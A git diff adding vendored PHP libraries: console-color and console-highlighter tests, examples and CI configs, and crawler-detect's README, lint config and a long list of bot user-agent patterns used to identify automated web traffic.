public function testSetOwnTheme() + { + $this->uut->setThemes(array('bold_dark' => array('bold', 'dark'))); + $output = $this->uut->apply(array('bold_dark'), 'text'); + $this->assertEquals("\033[1;2mtext\033[0m", $output); + } + + public function testAddOwnTheme() + { + $this->uut->addTheme('bold_own', 'bold'); + $output = $this->uut->apply(array('bold_own'), 'text'); + $this->assertEquals("\033[1mtext\033[0m", $output); + } + + public function testAddOwnThemeArray() + { + $this->uut->addTheme('bold_dark', array('bold', 'dark')); + $output = $this->uut->apply(array('bold_dark'), 'text'); + $this->assertEquals("\033[1;2mtext\033[0m", $output); + } + + public function testOwnWithStyle() + { + $this->uut->addTheme('bold_dark', array('bold', 'dark')); + $output = $this->uut->apply(array('bold_dark', 'italic'), 'text'); + $this->assertEquals("\033[1;2;3mtext\033[0m", $output); + } + + public function testHasAndRemoveTheme() + { + $this->assertFalse($this->uut->hasTheme('bold_dark')); + + $this->uut->addTheme('bold_dark', array('bold', 'dark')); + $this->assertTrue($this->uut->hasTheme('bold_dark')); + + $this->uut->removeTheme('bold_dark'); + $this->assertFalse($this->uut->hasTheme('bold_dark')); + } + + public function testApplyInvalidArgument() + { + $this->setExpectedException('\InvalidArgumentException'); + $this->uut->apply(new stdClass(), 'text'); + } + + public function testApplyInvalidStyleName() + { + $this->setExpectedException('\JakubOnderka\PhpConsoleColor\InvalidStyleException'); + $this->uut->apply('invalid', 'text'); + } + + public function testApplyInvalid256Color() + { + $this->setExpectedException('\JakubOnderka\PhpConsoleColor\InvalidStyleException'); + $this->uut->apply('color_2134', 'text'); + } + + public function testThemeInvalidStyle() + { + $this->setExpectedException('\JakubOnderka\PhpConsoleColor\InvalidStyleException'); + $this->uut->addTheme('invalid', array('invalid')); + } + + public function testForceStyle() + { + $this->assertFalse($this->uut->isStyleForced()); + $this->uut->setForceStyle(true); + $this->assertTrue($this->uut->isStyleForced()); + } + + public function testGetPossibleStyles() + { + $this->assertInternalType('array', $this->uut->getPossibleStyles()); + $this->assertNotEmpty($this->uut->getPossibleStyles()); + } +} + diff --git a/vendor/jakub-onderka/php-console-highlighter/.travis.yml b/vendor/jakub-onderka/php-console-highlighter/.travis.yml new file mode 100644 index 00000000..2f7e8c89 --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/.travis.yml @@ -0,0 +1,21 @@ +language: php + +php: + - 5.3.3 + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - hhvm + - hhvm-nightly + +matrix: + allowed_failures: + - php: 7.0 + - php: hhvm-nightly + +before_script: + - composer install --no-interaction --prefer-source + +script: + - ant \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/examples/snippet.php b/vendor/jakub-onderka/php-console-highlighter/examples/snippet.php new file mode 100644 index 00000000..1bf6ac3b --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/examples/snippet.php @@ -0,0 +1,10 @@ +getCodeSnippet($fileContent, 3); \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/examples/whole_file.php b/vendor/jakub-onderka/php-console-highlighter/examples/whole_file.php new file mode 100644 index 00000000..2a023d80 --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/examples/whole_file.php @@ -0,0 +1,10 @@ +getWholeFile($fileContent); \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/examples/whole_file_line_numbers.php b/vendor/jakub-onderka/php-console-highlighter/examples/whole_file_line_numbers.php new file mode 100644 index 00000000..f9178f2d --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/examples/whole_file_line_numbers.php @@ -0,0 +1,10 @@ +getWholeFileWithLineNumbers($fileContent); \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/phpunit.xml b/vendor/jakub-onderka/php-console-highlighter/phpunit.xml new file mode 100644 index 00000000..74011d9d --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/phpunit.xml @@ -0,0 +1,15 @@ + + + + + tests/* + + + + + + + vendor + + + \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/tests/JakubOnderka/PhpConsoleHighligter/HigligterTest.php b/vendor/jakub-onderka/php-console-highlighter/tests/JakubOnderka/PhpConsoleHighligter/HigligterTest.php new file mode 100644 index 00000000..269d03da --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/tests/JakubOnderka/PhpConsoleHighligter/HigligterTest.php @@ -0,0 +1,263 @@ +getMock('\JakubOnderka\PhpConsoleColor\ConsoleColor'); + + $mock->expects($this->any()) + ->method('apply') + ->will($this->returnCallback(function ($style, $text) { + return "<$style>$text"; + })); + + $mock->expects($this->any()) + ->method('hasTheme') + ->will($this->returnValue(true)); + + return $mock; + } + + protected function setUp() + { + $this->uut = new Highlighter($this->getConsoleColorMock()); + } + + protected function compare($original, $expected) + { + $output = $this->uut->getWholeFile($original); + $this->assertEquals($expected, $output); + } + + public function testVariable() + { + $this->compare( + << +echo \$a; +EOL + ); + } + + public function testInteger() + { + $this->compare( + << +echo 43; +EOL + ); + } + + public function testFloat() + { + $this->compare( + << +echo 43.3; +EOL + ); + } + + public function testHex() + { + $this->compare( + << +echo 0x43; +EOL + ); + } + + public function testBasicFunction() + { + $this->compare( + << +function plus(\$a, \$b) { + return \$a + \$b; +} +EOL + ); + } + + public function testStringNormal() + { + $this->compare( + << +echo 'Ahoj světe'; +EOL + ); + } + + public function testStringDouble() + { + $this->compare( + << +echo "Ahoj světe"; +EOL + ); + } + + public function testInstanceof() + { + $this->compare( + << +\$a instanceof stdClass; +EOL + ); + } + + /* + * Constants + */ + public function testConstant() + { + $constants = array( + '__FILE__', + '__LINE__', + '__CLASS__', + '__FUNCTION__', + '__METHOD__', + '__TRAIT__', + '__DIR__', + '__NAMESPACE__' + ); + + foreach ($constants as $constant) { + $this->compare( + << +$constant; +EOL + ); + } + } + + /* + * Comments + */ + public function testComment() + { + $this->compare( + << +/* Ahoj */ +EOL + ); + } + + public function testDocComment() + { + $this->compare( + << +/** Ahoj */ +EOL + ); + } + + public function testInlineComment() + { + $this->compare( + << +// Ahoj +EOL + ); + } + + public function testHashComment() + { + $this->compare( + << +# Ahoj +EOL + ); + } + + public function testEmpty() + { + $this->compare( + '' + , + '' + ); + } +} \ No newline at end of file diff --git a/vendor/jakub-onderka/php-console-highlighter/tests/bootstrap.php b/vendor/jakub-onderka/php-console-highlighter/tests/bootstrap.php new file mode 100644 index 00000000..7500417e --- /dev/null +++ b/vendor/jakub-onderka/php-console-highlighter/tests/bootstrap.php @@ -0,0 +1,2 @@ +> $GITHUB_OUTPUT + shell: bash + + - name: Cache composer dependencies + uses: actions/cache@v4 + with: + path: ${{ steps.composer-cache.outputs.dir }} + key: dependencies-php-${{ matrix.php }}-composer-${{ hashFiles('composer.json') }} + restore-keys: dependencies-php-${{ matrix.php }}-composer- + + - name: Install Composer dependencies + run: | + composer install --prefer-dist --no-interaction --no-suggest + + - name: Run Unit tests + run: | + vendor/bin/phpunit --coverage-clover=tests/logs/clover.xml + + - name: Upload coverage results to Coveralls + env: + COVERALLS_REPO_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + composer global require php-coveralls/php-coveralls "^1.0" + coveralls --coverage_clover=tests/logs/clover.xml -v diff --git a/vendor/jaybizzle/crawler-detect/.php_cs.dist b/vendor/jaybizzle/crawler-detect/.php_cs.dist new file mode 100644 index 00000000..91c91af9 --- /dev/null +++ b/vendor/jaybizzle/crawler-detect/.php_cs.dist @@ -0,0 +1,33 @@ +in([ + __DIR__.'/src', + __DIR__.'/tests', + ]) + ->name('*.php') + ->ignoreDotFiles(true) + ->ignoreVCS(true); + +return PhpCsFixer\Config::create() + ->setRules([ + '@PSR2' => true, + 'array_syntax' => ['syntax' => 'long'], + 'ordered_imports' => ['sortAlgorithm' => 'alpha'], + 'no_unused_imports' => true, + 'not_operator_with_successor_space' => true, + 'trailing_comma_in_multiline_array' => true, + 'phpdoc_scalar' => true, + 'unary_operator_spaces' => true, + 'binary_operator_spaces' => true, + 'blank_line_before_statement' => [ + 'statements' => ['break', 'continue', 'declare', 'return', 'throw', 'try'], + ], + 'phpdoc_single_line_var_spacing' => true, + 'phpdoc_var_without_name' => true, + 'method_argument_space' => [ + 'on_multiline' => 'ensure_fully_multiline', + 'keep_multiple_spaces_after_comma' => true, + ], + ]) + ->setFinder($finder); \ No newline at end of file diff --git a/vendor/jaybizzle/crawler-detect/README.md b/vendor/jaybizzle/crawler-detect/README.md index fa348506..57ec8e8b 100644 --- a/vendor/jaybizzle/crawler-detect/README.md +++ b/vendor/jaybizzle/crawler-detect/README.md @@ -3,7 +3,7 @@

          -GitHub Workflow Status +GitHub Workflow Status @@ -59,15 +59,16 @@ To use this library with NodeJS or any ES6 application based, check out [es6-cra ### Python Library To use this library in a Python project, check out [crawlerdetect](https://github.com/moskrc/CrawlerDetect). +### JVM Library (written in Java) +To use this library in a JVM project (including Java, Scala, Kotlin, etc.), check out [CrawlerDetect](https://github.com/nekosoftllc/crawler-detect). + ### .NET Library To use this library in a .net standard (including .net core) based project, check out [NetCrawlerDetect](https://github.com/gplumb/NetCrawlerDetect). ### Ruby Gem - To use this library with Ruby on Rails or any Ruby-based application, check out [crawler_detect](https://github.com/loadkpi/crawler_detect) gem. ### Go Module - To use this library with Go, check out the [crawlerdetect](https://github.com/x-way/crawlerdetect) module. _Parts of this class are based on the brilliant [MobileDetect](https://github.com/serbanghita/Mobile-Detect)_ diff --git a/vendor/jaybizzle/crawler-detect/raw/Crawlers.json b/vendor/jaybizzle/crawler-detect/raw/Crawlers.json index d5f9d0ae..d5aba5fe 100644 --- a/vendor/jaybizzle/crawler-detect/raw/Crawlers.json +++ b/vendor/jaybizzle/crawler-detect/raw/Crawlers.json @@ -1 +1 @@ -[" YLT","^Aether","^Amazon Simple Notification Service Agent$","^Amazon-Route53-Health-Check-Service","^b0t$","^bluefish ","^Calypso v\\\/","^COMODO DCV","^Corax","^DangDang","^DavClnt","^DHSH","^docker\\\/[0-9]","^Expanse","^FDM ","^git\\\/","^Goose\\\/","^Grabber","^Gradle\\\/","^HTTPClient\\\/","^HTTPing","^Java\\\/","^Jeode\\\/","^Jetty\\\/","^Mail\\\/","^Mget","^Microsoft URL Control","^Mikrotik\\\/","^Netlab360","^NG\\\/[0-9\\.]","^NING\\\/","^npm\\\/","^Nuclei","^PHP-AYMAPI\\\/","^PHP\\\/","^pip\\\/","^pnpm\\\/","^RMA\\\/","^Ruby|Ruby\\\/[0-9]","^Swurl ","^TLS tester ","^twine\\\/","^ureq","^VSE\\\/[0-9]","^WordPress\\.com","^XRL\\\/[0-9]","^ZmEu","008\\\/","13TABS","192\\.comAgent","2GDPR\\\/","2ip\\.ru","404enemy","7Siters","80legs","a3logics\\.in","A6-Indexer","Abonti","Aboundex","aboutthedomain","Accoona-AI-Agent","acebookexternalhit\\\/","acoon","acrylicapps\\.com\\\/pulp","Acunetix","AdAuth\\\/","adbeat","AddThis","ADmantX","AdminLabs","adressendeutschland","adreview\\\/","adscanner","adstxt-worker","Adstxtaggregator","adstxt\\.com","Adyen HttpClient","AffiliateLabz\\\/","affilimate-puppeteer","agentslug","AHC","aihit","aiohttp\\\/","Airmail","akka-http\\\/","akula\\\/","alertra","alexa site audit","Alibaba\\.Security\\.Heimdall","Alligator","allloadin","AllSubmitter","alyze\\.info","amagit","Anarchie","AndroidDownloadManager","Anemone","AngleSharp","annotate_google","Anthill","Anturis Agent","Ant\\.com","AnyEvent-HTTP\\\/","Apache Ant\\\/","Apache Droid","Apache OpenOffice","Apache-HttpAsyncClient","Apache-HttpClient","ApacheBench","Apexoo","apimon\\.de","APIs-Google","AportWorm\\\/","AppBeat\\\/","AppEngine-Google","AppleSyndication","Aprc\\\/[0-9]","Arachmo","arachnode","Arachnophilia","aria2","Arukereso","asafaweb","Asana\\\/","Ask Jeeves","AskQuickly","ASPSeek","Asterias","Astute","asynchttp","Attach","attohttpc","autocite","AutomaticWPTester","Autonomy","awin\\.com","AWS Security Scanner","axios\\\/","a\\.pr-cy\\.ru","B-l-i-t-z-B-O-T","Backlink-Ceck","backlink-check","BacklinkHttpStatus","BackStreet","BackupLand","BackWeb","Bad-Neighborhood","Badass","baidu\\.com","Bandit","basicstate","BatchFTP","Battleztar Bazinga","baypup\\\/","BazQux","BBBike","BCKLINKS","BDFetch","BegunAdvertising","Bewica-security-scan","Bidtellect","BigBozz","Bigfoot","biglotron","BingLocalSearch","BingPreview","binlar","biNu image cacher","Bitacle","Bitrix link preview","biz_Directory","BKCTwitterUnshortener\\\/","Black Hole","Blackboard Safeassign","BlackWidow","BlockNote\\.Net","BlogBridge","Bloglines","Bloglovin","BlogPulseLive","BlogSearch","Blogtrottr","BlowFish","boitho\\.com-dc","Boost\\.Beast","BPImageWalker","Braintree-Webhooks","Branch Metrics API","Branch-Passthrough","Brandprotect","BrandVerity","Brandwatch","Brodie\\\/","Browsershots","BUbiNG","Buck\\\/","Buddy","BuiltWith","Bullseye","BunnySlippers","Burf Search","Butterfly\\\/","BuzzSumo","CAAM\\\/[0-9]","CakePHP","Calculon","Canary%20Mail","CaretNail","catexplorador","CC Metadata Scaper","Cegbfeieh","censys","centuryb.o.t9[at]gmail.com","Cerberian Drtrs","CERT\\.at-Statistics-Survey","cf-facebook","cg-eye","changedetection","ChangesMeter","Charlotte","CheckHost","checkprivacy","CherryPicker","ChinaClaw","Chirp\\\/","chkme\\.com","Chlooe","Chromaxa","CirrusExplorer","CISPA Vulnerability Notification","CISPA Web Analyser","Citoid","CJNetworkQuality","Clarsentia","clips\\.ua\\.ac\\.be","Cloud mapping","CloudEndure","CloudFlare-AlwaysOnline","Cloudflare-Healthchecks","Cloudinary","cmcm\\.com","coccoc","cognitiveseo","ColdFusion","colly -","CommaFeed","Commons-HttpClient","commonscan","contactbigdatafr","contentkingapp","Contextual Code Sites Explorer","convera","CookieReports","copyright sheriff","CopyRightCheck","Copyscape","cortex\\\/","Cosmos4j\\.feedback","Covario-IDS","Craw\\\/","Crescent","Criteo","Crowsnest","CSHttp","CSSCheck","Cula\\\/","curb","Curious George","curl","cuwhois\\\/","cybo\\.com","DAP\\\/NetHTTP","DareBoost","DatabaseDriverMysqli","DataCha0s","Datafeedwatch","Datanyze","DataparkSearch","dataprovider","DataXu","Daum(oa)?[ \\\/][0-9]","dBpoweramp","ddline","deeris","delve\\.ai","Demon","DeuSu","developers\\.google\\.com\\\/\\+\\\/web\\\/snippet\\\/","Devil","Digg","Digincore","DigitalPebble","Dirbuster","Discourse Forum Onebox","Dispatch\\\/","Disqus\\\/","DittoSpyder","dlvr","DMBrowser","DNSPod-reporting","docoloc","Dolphin http client","DomainAppender","DomainLabz","Domains Project\\\/","Donuts Content Explorer","dotMailer content retrieval","dotSemantic","downforeveryoneorjustme","Download Wonder","downnotifier","DowntimeDetector","Drip","drupact","Drupal \\(\\+http:\\\/\\\/drupal\\.org\\\/\\)","DTS Agent","dubaiindex","DuplexWeb-Google","DynatraceSynthetic","EARTHCOM","Easy-Thumb","EasyDL","Ebingbong","ec2linkfinder","eCairn-Grabber","eCatch","ECCP","eContext\\\/","Ecxi","EirGrabber","ElectricMonk","elefent","EMail Exractor","EMail Wolf","EmailWolf","Embarcadero","Embed PHP Library","Embedly","endo\\\/","europarchive\\.org","evc-batch","EventMachine HttpClient","Everwall Link Expander","Evidon","Evrinid","ExactSearch","ExaleadCloudview","Excel\\\/","exif","ExoRank","Exploratodo","Express WebPictures","Extreme Picture Finder","EyeNetIE","ezooms","facebookexternalhit","facebookexternalua","facebookplatform","fairshare","Faraday v","fasthttp","Faveeo","Favicon downloader","faviconarchive","faviconkit","FavOrg","Feed Wrangler","Feedable\\\/","Feedbin","FeedBooster","FeedBucket","FeedBunch\\\/","FeedBurner","feeder","Feedly","FeedshowOnline","Feedshow\\\/","Feedspot","FeedViewer\\\/","Feedwind\\\/","FeedZcollector","feeltiptop","Fetch API","Fetch\\\/[0-9]","Fever\\\/[0-9]","FHscan","Fiery%20Feeds","Filestack","Fimap","findlink","findthatfile","FlashGet","FlipboardBrowserProxy","FlipboardProxy","FlipboardRSS","Flock\\\/","Florienzh\\\/","fluffy","Flunky","flynxapp","forensiq","FoundSeoTool","free thumbnails","Freeuploader","FreshRSS","Funnelback","Fuzz Faster U Fool","G-i-g-a-b-o-t","g00g1e\\.net","ganarvisitas","gdnplus\\.com","geek-tools","Genieo","GentleSource","GetCode","Getintent","GetLinkInfo","getprismatic","GetRight","getroot","GetURLInfo\\\/","GetWeb","Geziyor","Ghost Inspector","GigablastOpenSource","GIS-LABS","github-camo","GitHub-Hookshot","github\\.com","Go http package","Go [\\d\\.]* package http","Go!Zilla","Go-Ahead-Got-It","Go-http-client","go-mtasts\\\/","gobyus","Gofeed","gofetch","Goldfire Server","GomezAgent","gooblog","Goodzer\\\/","Google AppsViewer","Google Desktop","Google favicon","Google Keyword Suggestion","Google Keyword Tool","Google Page Speed Insights","Google PP Default","Google Search Console","Google Web Preview","Google-Ads-Creatives-Assistant","Google-Ads-Overview","Google-Adwords","Google-Apps-Script","Google-Calendar-Importer","Google-HotelAdsVerifier","Google-HTTP-Java-Client","Google-Podcast","Google-Publisher-Plugin","Google-Read-Aloud","Google-SearchByImage","Google-Site-Verification","Google-SMTP-STS","Google-speakr","Google-Structured-Data-Testing-Tool","Google-Transparency-Report","google-xrawler","Google-Youtube-Links","GoogleDocs","GoogleHC\\\/","GoogleProber","GoogleProducer","GoogleSites","Gookey","GoSpotCheck","gosquared-thumbnailer","Gotit","GoZilla","grabify","GrabNet","Grafula","Grammarly","GrapeFX","GreatNews","Gregarius","GRequests","grokkit","grouphigh","grub-client","gSOAP\\\/","GT::WWW","GTmetrix","GuzzleHttp","gvfs\\\/","HAA(A)?RTLAND http client","Haansoft","hackney\\\/","Hadi Agent","HappyApps-WebCheck","Hardenize","Hatena","Havij","HaxerMen","HeadlessChrome","HEADMasterSEO","HeartRails_Capture","help@dataminr\\.com","heritrix","Hexometer","historious","hkedcity","hledejLevne\\.cz","Hloader","HMView","Holmes","HonesoSearchEngine","HootSuite Image proxy","Hootsuite-WebFeed","hosterstats","HostTracker","ht:\\\/\\\/check","htdig","HTMLparser","htmlyse","HTTP Banner Detection","http-get","HTTP-Header-Abfrage","http-kit","http-request\\\/","HTTP-Tiny","HTTP::Lite","http:\\\/\\\/www.neomo.de\\\/","HttpComponents","httphr","HTTPie","HTTPMon","httpRequest","httpscheck","httpssites_power","httpunit","HttpUrlConnection","http\\.rb\\\/","HTTP_Compression_Test","http_get","http_request2","http_requester","httrack","huaweisymantec","HubSpot ","HubSpot-Link-Resolver","Humanlinks","i2kconnect\\\/","Iblog","ichiro","Id-search","IdeelaborPlagiaat","IDG Twitter Links Resolver","IDwhois\\\/","Iframely","igdeSpyder","iGooglePortal","IlTrovatore","Image Fetch","Image Sucker","ImageEngine\\\/","ImageVisu\\\/","Imagga","imagineeasy","imgsizer","InAGist","inbound\\.li parser","InDesign%20CC","Indy Library","InetURL","infegy","infohelfer","InfoTekies","InfoWizards Reciprocal Link","inpwrd\\.com","instabid","Instapaper","Integrity","integromedb","Intelliseek","InterGET","Internet Ninja","InternetSeer","internetVista monitor","internetwache","internet_archive","intraVnews","IODC","IOI","iplabel","ips-agent","IPS\\\/[0-9]","IPWorks HTTP\\\/S Component","iqdb\\\/","Iria","Irokez","isitup\\.org","iskanie","isUp\\.li","iThemes Sync\\\/","IZaBEE","iZSearch","JAHHO","janforman","Jaunt\\\/","Java.*outbrain","javelin\\.io","Jbrofuzz","Jersey\\\/","JetCar","Jigsaw","Jobboerse","JobFeed discovery","Jobg8 URL Monitor","jobo","Jobrapido","Jobsearch1\\.5","JoinVision Generic","JolokiaPwn","Joomla","Jorgee","JS-Kit","JungleKeyThumbnail","JustView","Kaspersky Lab CFR link resolver","Kelny\\\/","Kerrigan\\\/","KeyCDN","Keyword Density","Keywords Research","khttp\\\/","KickFire","KimonoLabs\\\/","Kml-Google","knows\\.is","KOCMOHABT","kouio","kube-probe","kubectl","kulturarw3","KumKie","Larbin","Lavf\\\/","leakix\\.net","LeechFTP","LeechGet","letsencrypt","Lftp","LibVLC","LibWeb","Libwhisker","libwww","Licorne","Liferea\\\/","Lighthouse","Lightspeedsystems","Likse","limber\\.io","Link Valet","LinkAlarm\\\/","LinkAnalyser","linkCheck","linkdex","LinkExaminer","linkfluence","linkpeek","LinkPreview","LinkScan","LinksManager","LinkTiger","LinkWalker","link_thumbnailer","Lipperhey","Litemage_walker","livedoor ScreenShot","LoadImpactRload","localsearch-web","LongURL API","longurl-r-package","looid\\.com","looksystems\\.net","ltx71","lua-resty-http","Lucee \\(CFML Engine\\)","Lush Http Client","lwp-request","lwp-trivial","LWP::Simple","lycos","LYT\\.SR","L\\.webis","mabontland","MacOutlook\\\/","Mag-Net","MagpieRSS","Mail::STS","MailChimp","Mail\\.Ru","Majestic12","makecontact\\\/","Mandrill","MapperCmd","marketinggrader","MarkMonitor","MarkWatch","Mass Downloader","masscan\\\/","Mata Hari","mattermost","Mediametric","Mediapartners-Google","mediawords","MegaIndex\\.ru","MeltwaterNews","Melvil Rawi","MemGator","Metaspinner","MetaURI","MFC_Tear_Sample","Microsearch","Microsoft Data Access","Microsoft Office","Microsoft Outlook","Microsoft Windows Network Diagnostics","Microsoft-WebDAV-MiniRedir","Microsoft\\.Data\\.Mashup","MIDown tool","MIIxpc","Mindjet","Miniature\\.io","Miniflux","mio_httpc","Miro-HttpClient","Mister PiX","mixdata dot com","mixed-content-scan","mixnode","Mnogosearch","mogimogi","Mojeek","Mojolicious \\(Perl\\)","monitis","Monitority\\\/","Monit\\\/","montastic","MonTools","Moreover","Morfeus Fucking Scanner","Morning Paper","MovableType","mowser","Mrcgiguy","Mr\\.4x3 Powered","MS Web Services Client Protocol","MSFrontPage","mShots","MuckRack\\\/","muhstik-scan","MVAClient","MxToolbox\\\/","myseosnapshot","nagios","Najdi\\.si","Name Intelligence","NameFo\\.com","Nameprotect","nationalarchives","Navroad","NearSite","Needle","Nessus","Net Vampire","NetAnts","NETCRAFT","NetLyzer","NetMechanic","NetNewsWire","Netpursual","netresearch","NetShelter ContentScan","Netsparker","NetSystemsResearch","nettle","NetTrack","Netvibes","NetZIP","Neustar WPM","NeutrinoAPI","NewRelicPinger","NewsBlur .*Finder","NewsGator","newsme","newspaper\\\/","Nexgate Ruby Client","NG-Search","nghttp2","Nibbler","NICErsPRO","NihilScio","Nikto","nineconnections","NLNZ_IAHarvester","Nmap Scripting Engine","node-fetch","node-superagent","node-urllib","Nodemeter","NodePing","node\\.io","nominet\\.org\\.uk","nominet\\.uk","Norton-Safeweb","Notifixious","notifyninja","NotionEmbedder","nuhk","nutch","Nuzzel","nWormFeedFinder","nyawc\\\/","Nymesis","NYU","Observatory\\\/","Ocelli\\\/","Octopus","oegp","Offline Explorer","Offline Navigator","OgScrper","okhttp","omgili","OMSC","Online Domain Tools","Open Source RSS","OpenCalaisSemanticProxy","Openfind","OpenLinkProfiler","Openstat\\\/","OpenVAS","OPPO A33","Optimizer","Orbiter","OrgProbe\\\/","orion-semantics","Outlook-Express","Outlook-iOS","Owler","Owlin","ownCloud News","ow\\.ly","OxfordCloudService","page scorer","Page Valet","page2rss","PageFreezer","PageGrabber","PagePeeker","PageScorer","Pagespeed\\\/","PageThing","page_verifier","Panopta","panscient","Papa Foto","parsijoo","Pavuk","PayPal IPN","pcBrowser","Pcore-HTTP","PDF24 URL To PDF","Pearltrees","PECL::HTTP","peerindex","Peew","PeoplePal","Perlu -","PhantomJS Screenshoter","PhantomJS\\\/","Photon\\\/","php-requests","phpservermon","Pi-Monster","Picscout","Picsearch","PictureFinder","Pimonster","Pingability","PingAdmin\\.Ru","Pingdom","Pingoscope","PingSpot","ping\\.blo\\.gs","pinterest\\.com","Pixray","Pizilla","Plagger\\\/","Pleroma ","Ploetz \\+ Zeller","Plukkie","plumanalytics","PocketImageCache","PocketParser","Pockey","PodcastAddict\\\/","POE-Component-Client-HTTP","Polymail\\\/","Pompos","Porkbun","Port Monitor","postano","postfix-mta-sts-resolver","PostmanRuntime","postplanner\\.com","PostPost","postrank","PowerPoint\\\/","Prebid","Prerender","Priceonomics Analysis Engine","PrintFriendly","PritTorrent","Prlog","probethenet","Project ?25499","Project-Resonance","prospectb2b","Protopage","ProWebWalker","proximic","PRTG Network Monitor","pshtt, https scanning","PTST ","PTST\\\/[0-9]+","Pump","Python-httplib2","python-httpx","python-requests","Python-urllib","Qirina Hurdler","QQDownload","QrafterPro","Qseero","Qualidator","QueryN Metasearch","queuedriver","quic-go-HTTP\\\/","QuiteRSS","Quora Link Preview","Qwantify","Radian6","RadioPublicImageResizer","Railgun\\\/","RankActive","RankFlex","RankSonicSiteAuditor","RapidLoad\\\/","Re-re Studio","ReactorNetty","Readability","RealDownload","RealPlayer%20Downloader","RebelMouse","Recorder","RecurPost\\\/","redback\\\/","ReederForMac","Reeder\\\/","ReGet","RepoMonkey","request\\.js","reqwest\\\/","ResponseCodeTest","RestSharp","Riddler","Rival IQ","Robosourcer","Robozilla","ROI Hunter","RPT-HTTPClient","RSSMix\\\/","RSSOwl","RyowlEngine","safe-agent-scanner","SalesIntelligent","Saleslift","SAP NetWeaver Application Server","SauceNAO","SBIder","sc-downloader","scalaj-http","Scamadviser-Frontend","ScanAlert","scan\\.lol","Scoop","scooter","ScopeContentAG-HTTP-Client","ScoutJet","ScoutURLMonitor","ScrapeBox Page Scanner","Scrapy","Screaming","ScreenShotService","Scrubby","Scrutiny\\\/","Search37","searchenginepromotionhelp","Searchestate","SearchExpress","SearchSight","SearchWP","search\\.thunderstone","Seeker","semanticdiscovery","semanticjuice","Semiocast HTTP client","Semrush","Sendsay\\.Ru","sentry\\\/","SEO Browser","Seo Servis","seo-nastroj\\.cz","seo4ajax","Seobility","SEOCentro","SeoCheck","SEOkicks","SEOlizer","Seomoz","SEOprofiler","seoscanners","SEOsearch","seositecheckup","SEOstats","servernfo","sexsearcher","Seznam","Shelob","Shodan","Shoppimon","ShopWiki","ShortLinkTranslate","shortURL lengthener","shrinktheweb","Sideqik","Siege","SimplePie","SimplyFast","Siphon","SISTRIX","Site Sucker","Site-Shot\\\/","Site24x7","SiteBar","Sitebeam","Sitebulb\\\/","SiteCondor","SiteExplorer","SiteGuardian","Siteimprove","SiteIndexed","Sitemap(s)? Generator","SitemapGenerator","SiteMonitor","Siteshooter B0t","SiteSnagger","SiteSucker","SiteTruth","Sitevigil","sitexy\\.com","SkypeUriPreview","Slack\\\/","sli-systems\\.com","slider\\.com","slurp","SlySearch","SmartDownload","SMRF URL Expander","SMUrlExpander","Snake","Snappy","SnapSearch","Snarfer\\\/","SniffRSS","sniptracker","Snoopy","SnowHaze Search","sogou web","SortSite","Sottopop","sovereign\\.ai","SpaceBison","SpamExperts","Spammen","Spanner","spaziodati","SPDYCheck","Specificfeeds","speedy","SPEng","Spinn3r","spray-can","Sprinklr ","spyonweb","sqlmap","Sqlworm","Sqworm","SSL Labs","ssl-tools","StackRambler","Statastico\\\/","Statically-","StatusCake","Steeler","Stratagems Kumo","Stripe\\\/","Stroke\\.cz","StudioFACA","StumbleUpon","suchen","Sucuri","summify","SuperHTTP","Surphace Scout","Suzuran","swcd ","Symfony BrowserKit","Symfony2 BrowserKit","Synapse\\\/","Syndirella\\\/","SynHttpClient-Built","Sysomos","sysscan","Szukacz","T0PHackTeam","tAkeOut","Tarantula\\\/","Taringa UGC","TarmotGezgin","tchelebi\\.io","techiaith\\.cymru","Teleport","Telesoft","Telesphoreo","Telesphorep","Tenon\\.io","teoma","terrainformatica","Test Certificate Info","testuri","Tetrahedron","TextRazor Downloader","The Drop Reaper","The Expert HTML Source Viewer","The Intraformant","The Knowledge AI","theinternetrules","TheNomad","Thinklab","Thumbor","Thumbshots","ThumbSniper","timewe\\.net","TinEye","Tiny Tiny RSS","TLSProbe\\\/","Toata","topster","touche\\.com","Traackr\\.com","tracemyfile","Trackuity","TrapitAgent","Trendiction","Trendsmap","trendspottr","truwoGPS","TryJsoup","TulipChain","Turingos","Turnitin","tweetedtimes","Tweetminster","Tweezler\\\/","twibble","Twice","Twikle","Twingly","Twisted PageGetter","Typhoeus","ubermetrics-technologies","uclassify","UdmSearch","ultimate_sitemap_parser","unchaos","unirest-java","UniversalFeedParser","unshortenit","Unshorten\\.It","Untiny","UnwindFetchor","updated","updown\\.io daemon","Upflow","Uptimia","URL Verifier","Urlcheckr","URLitor","urlresolver","Urlstat","URLTester","UrlTrends Ranking Updater","URLy Warning","URLy\\.Warning","URL\\\/Emacs","Vacuum","Vagabondo","VB Project","vBSEO","VCI","via ggpht\\.com GoogleImageProxy","Virusdie","visionutils","vkShare","VoidEYE","Voil","voltron","voyager\\\/","VSAgent\\\/","VSB-TUO\\\/","Vulnbusters Meter","VYU2","w3af\\.org","W3C-checklink","W3C-mobileOK","W3C_Unicorn","WAC-OFU","WakeletLinkExpander","WallpapersHD","Wallpapers\\\/[0-9]+","wangling","Wappalyzer","WatchMouse","WbSrch\\\/","WDT\\.io","Web Auto","Web Collage","Web Enhancer","Web Fetch","Web Fuck","Web Pix","Web Sauger","Web spyder","Web Sucker","web-capture\\.net","Web-sniffer","Webalta","Webauskunft","WebAuto","WebCapture","WebClient\\\/","webcollage","WebCookies","WebCopier","WebCorp","WebDataStats","WebDoc","WebEnhancer","WebFetch","WebFuck","WebGazer","WebGo IS","WebImageCollector","WebImages","WebIndex","webkit2png","WebLeacher","webmastercoffee","webmon ","WebPix","WebReaper","WebSauger","webscreenie","Webshag","Webshot","Website Quester","websitepulse 